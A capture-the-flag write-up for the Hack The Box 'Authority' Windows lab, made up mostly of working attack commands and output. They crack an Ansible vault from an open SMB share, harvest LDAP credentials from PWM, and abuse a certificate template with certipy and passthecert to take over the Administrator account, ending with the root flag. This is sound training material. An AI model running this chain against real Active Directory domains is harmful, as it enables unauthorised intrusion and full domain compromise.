Hack The Box Authority Writeup (Medium Windows)
Medium Windows AD box. An open SMB share hides an Ansible vault holding PWM's LDAP creds, and a CorpVPN certificate request becomes the Administrator.
Hack The Box Authority Writeup (Medium Windows)
Summary
Authority is a Windows domain controller that also serves PWM on port 8443, left in configuration mode so its settings can be read without authenticating to LDAP first. An open SMB share called Development holds an Ansible project whose PWM defaults carry an ANSIBLE_VAULT blob, and ansible2john plus hashcat crack the vault password. Decrypting the vault returns svc_pwm and the LDAP admin password, while the PWM configuration itself gives up svc_ldap with lDaP_1n_th3_cle4r!. Since svc_ldap may add machine accounts, impacket-addcomputer registers bsec$, and certipy requests a certificate from the CorpVPN template with administrator@authority.htb as the UPN. passthecert then uses that certificate to reset the Administrator password, and evil-winrm logs in to read root.txt.
Independent Challenge - 10.10.11.222
export IP=10.10.11.222
Service Enumeration
| IP Address | Port Number |
|---|---|
| (10.10.11.222) | 53 80 88 135 139 389 445 464 636 3268 3269 5985 8443 9389 47001 49664 49669 49675 49689 49690 49693 49694 49706 49708 49717 63790 |
Command: nmap -sC -sV -T4 -oN scans/all-ports -vv --max-retries 3 -p- 10.10.11.222
Target: port 8443
https://10.10.11.222:8443
1
2
3
PWM is currently in **configuration** mode. This mode allows updating the configuration without authenticating to an LDAP directory first. End user functionality is not available in this mode.
After you have verified the LDAP directory settings, use the Configuration Manager to restrict the configuration to prevent unauthorized changes. After restricting, the configuration can still be changed but will require LDAP directory authentication first.
We obtained the password for this service.
Reading the configuration file, there is an interesting entry:
1
2
3
<setting key="ldap.proxy.password" modifyTime="2022-08-11T01:46:23Z" profile="default" syntax="PASSWORD" syntaxVersion="0">
<label>LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP Proxy Password</label>
<value>ENC-PW:DYMRuV5EtQajf9nvguV7FUt0wcof+s0kOUV9Vlzq3DoFqyzYAHoni53J+kp++24vTYfsZfkLaNHbjGfbQldz5EW7BqPxGqzMz+bEfyPIvA8=</value>
- ldap creds:
svc_ldap:lDaP_1n_th3_cle4r!
security key
1
ENC-PW:sODaOsZj86u5OEWjqX/wyvXqZSrliigwNX1775IosFe1Y+0wo4I+yi/StmszN0QFKue/Um6dkZm1RrcECBHk358zc045rDyFL2fDku2kusl79NE+Tww8gC8QQ0CX+VS2yyD46+ZS6Jriyu1Y7BOXnJifXXXsHzTmBTkodvnY33V6Puc0Zze0PGYHN+CGFtx/g5WaBTQbQwZwNLA+8Qe11GqCz+rBjGzQp0w6yLHJn+ZYBlLWgvZwN2KUHOiUIq5eKKDgjv+mga4zcB1STcpMJRaIiSnLdY3VCfsEj6p4BGz9jj+N7gQHBFAvI05JexXq8HyL7ZUEzLXU5FMQXvhhWSbhxoz7LH/iamvoOg13WnI3MRUzrXv91Uh7gdNZuXa1NmSBOe/g1GgmFV+0sxLIJ/99VT+GHIwrfjPNNV6jtKHhURPwp0a38c6aBGjpvB3AgAoZ0/KVLvQK1pAevO4NK2XFF2nPD8gQCQJMCsb62I+XMitkO2zKytrYEwZhl9VUGF0bAXQhC5I9xX1tEQAGBcENt1NGfM8iE+PlrZWwlr1yDjw+GZEm2KHyjnUFpBubqD7l7mvEJbEV26SQkR0v4R5LSEPbElOKGbGXMKkDEi53SQ5P0ZZQbega9XtBOHs+/s1EZ4p/qGVCvpD9dgc0SyS0auXU0PUddjxyXthHdqRbEWHhAduXYQgXF0eM2yWlbd7fTgSUMERlpjdFX/QZG3D6Ghp+iOCwfelEfKMQDO1myQcpq5YTE94YDz+aSWvi7ZGRIq+hRkwuR8E0EbEUE7CApDwF3LjGi+UEd9Y3Q9SPSMVxg4Ra2FB4sYCT19N7KV3TpGvJYD4SE8Mrn0cH9ihvlvDJFOxoLC9xM8FA9EAvSZN1w6lV4pUsVpUSM0LRKLqCmBCRJvaRNbhRymM96NFSSi4PwCCJQ7WVJjiS+oLQ+7qwHhqLQFy0+gtkGSQnBoq1FMYSCyGz/fUG84Xe0CSTPt4SwTq+L2M2jqsiB+HXq1z2LdkAFo6xm1Mqs6H/x5ZP1esjvRxDzHod31jRizu+rJw4LNRb172A36dQWmiq/OJQBJrnPu87s+KmoNyCJGrT2+1QttMgM62qy2/Eb6xByQ8RiLl6v87vf24TuWhxJhXfNWMRuHXJp2IWt5BWAYdiQNUjCuvRhfiyxsIqelpEpsOnm8WDVEsN0hqaEt9Db2e/d3Wpx1as4luVtA/MZtKy+gsH0qZUmouj7LCfN5TJpm00MiBTxYSkapKvAGchkE4UVc3AHGIxeyy+t2LwqT9fDSlS/VofOELNcQD3OfPi+asOrgaqcRbZVXdQumoJsubLMiPpHTZtOH2Nt13cEh9ZG/XebrAkchsMjsyLo5KX0nL6RKbMNUA3BmM2cd+bjj+Jar2aeAeqBdW+LU5ALshAsF986N1BGSsQ8aZkJwLi3PUYG8vGR88ZqEMMziQ=
Target: SMB
Downloaded all the files in the Development share.
1
2
3
4
5
smbclient //10.10.11.222/Development
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
Possible usernames:
travisvagrantAutomation/Ansible/PWM
1
2
3
4
5
6
ansible_user: administrator
ansible_password: Welcome1
ansible_port: 5985
ansible_connection: winrm
ansible_winrm_transport: ntlm
ansible_winrm_server_cert_validation: ignore
- Tomcat users
1
2
<user username="admin" password="T0mc@tAdm1n" roles="manager-gui"/>
<user username="robot" password="T0mc@tR00t" roles="manager-script"/>
Ansible Vault Decryption
PWM/defaults/main.yml contains encrypted data (ANSIBLE_VAULT)
Save to a file and format correctly (in this case, password.yaml):
1
2
3
4
5
6
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531
ansible2john password.yaml > admin_password_hash.txtCrack using GPU
hashcat.exe -m 16900 -d 1 -O -a 0 -w 4 -o vault.out admin_password_hash.txt wordlists\rockyou.txtCracked password:
!@#$%^&*Run:
cat password.yaml | ansible-vault decryptand insert the cracked password.
Credentials:
svc_pwm:pWm_@dm!N_!23LDAP Admin Password:
DevT3st@123
Snippet:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ cat vault.yml | ansible-vault decrypt
Vault password:
Decryption successful
svc_pwm
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ ls
Automation pwm_hash scans smb vault.out vault.yml
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ cat vault.out
$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8:!@#$%^&*
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ mv pwm_hash vault_hash.txt
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ ls
Automation scans smb vault_hash.txt vault.out vault.yml
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ subl password.yaml
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ ansible2john password.yaml > admin_password_hash.txt
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ cat admin_password_hash.txt
password.yaml:$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ subl admin_password_hash.txt
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ ls
admin_password_hash.txt password.yaml smb vault.out
Automation scans vault_hash.txt vault.yml
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ cat password.yaml | ansible-vault decrypt
Vault password:
Decryption successful
pWm_@dm!N_!23
Post Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ impacket-addcomputer authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' -computer-name bsec -computer-pass BehindSecurity123! -dc-ip 10.10.11.222
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Successfully added machine account bsec$ with password BehindSecurity123!.
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ /home/kali/.local/bin/certipy req -u bsec$ -p BehindSecurity123! -ca AUTHORITY-CA -template CorpVPN -upn administrator@authority.htb -dns authority.htb -dc-ip 10.10.11.222
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error: The NETBIOS connection with the remote host timed out.
[-] Use -debug to print a stacktrace
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ /home/kali/.local/bin/certipy req -u bsec$ -p BehindSecurity123! -ca AUTHORITY-CA -template CorpVPN -upn administrator@authority.htb -dns authority.htb -dc-ip 10.10.11.222 -debug
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.222[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.222[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with multiple identifications
UPN: 'administrator@authority.htb'
DNS Host Name: 'authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'
$ python3 passthecert.py -action modify_user -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222 -target administrator -new-pass
[*] Successfully changed administrator password to: kFJe9rBidnzCPzLgG7lcqLnfvWvIaOTX
┌──(kali㉿kali)-[~/…/HackTheBox/CTFs/Medium/Authority]
└─$ evil-winrm -u administrator -p 'kFJe9rBidnzCPzLgG7lcqLnfvWvIaOTX' -i 10.10.11.222
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir
Directory: C:\Users\Administrator\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 8/9/2022 2:18 PM WindowsPowerShell
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
699a099f7cb799875cd7a796d900f26c
*Evil-WinRM* PS C:\Users\Administrator\Documents>
This post is licensed under CC BY 4.0 by the author.